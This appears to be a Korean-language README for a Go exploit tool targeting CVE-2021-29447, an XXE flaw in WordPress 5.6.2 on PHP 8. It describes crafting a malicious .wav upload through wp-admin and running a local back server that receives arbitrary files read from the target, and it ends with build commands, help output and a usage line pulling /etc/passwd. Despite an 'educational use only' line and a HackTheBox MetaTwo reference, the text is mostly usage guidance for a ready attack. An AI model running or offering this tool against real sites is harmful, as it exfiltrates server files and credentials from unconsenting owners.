
교육 목적으로만 사용하세요.
이 익스플로잇은 WordPress 5.6.2 및 PHP 8을 실행하는 서버에서 모든 파일을 가져올 수 있는 매우 편리한 도구입니다. (https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5 참조)
필요한 것은 기본 wp-admin 접근 권한과 미디어 파일 업로드 기능뿐입니다.
이 익스플로잇은 wp-admin을 사용해 업로드할 .wav 파일 페이로드를 생성합니다.
그런 다음 익스플로잇의 백 서버를 사용하여 원하는 파일을 콘솔에서 바로 확인할 수 있습니다.
가장 완벽한 활용 사례는 HackTheBox의 머신 metatwo입니다. https://www.hackthebox.com/machines/metatwo

$ go build
$ chmod +x exploit_cve-2021-29447
$ ./exploit_cve-2021-29447 --help
Usage of ./exploit_cve-2021-29447:
-local-server-ip string
Use local server ip where a local server will be set
-local-server-port int
Use local server port to run local server on
-o string
Output file to save exploit's result
-target-path string
Use target path to point on file you want to get from target server
$ ./exploit_cve-2021-29447 -local-server-ip=<your ip address> -target-path=/etc/passwd